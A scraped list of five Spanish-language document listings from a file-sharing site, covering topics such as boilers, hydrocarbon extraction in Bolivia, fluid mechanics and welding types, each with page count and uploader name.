- Eje 7-10Documento3 páginasEje 7-10Alexandra Dámaris Quispe GutierrezAún no hay calificaciones
- CalderaDocumento12 páginasCalderaeduAún no hay calificaciones
- Extraccion de Hidrocarburos No Convencionales en BoliviaDocumento6 páginasExtraccion de Hidrocarburos No Convencionales en BoliviaVanessa Lema ZabalaAún no hay calificaciones
- Trabajo Encargado, Ejercicio Sobre Mecanica de Fluidos. GRUPO 04Documento15 páginasTrabajo Encargado, Ejercicio Sobre Mecanica de Fluidos. GRUPO 04Karin Imelda Malca PazAún no hay calificaciones
- Tipos de SoldaduraDocumento6 páginasTipos de SoldaduraMiguel VillalobosAún no hay calificaciones
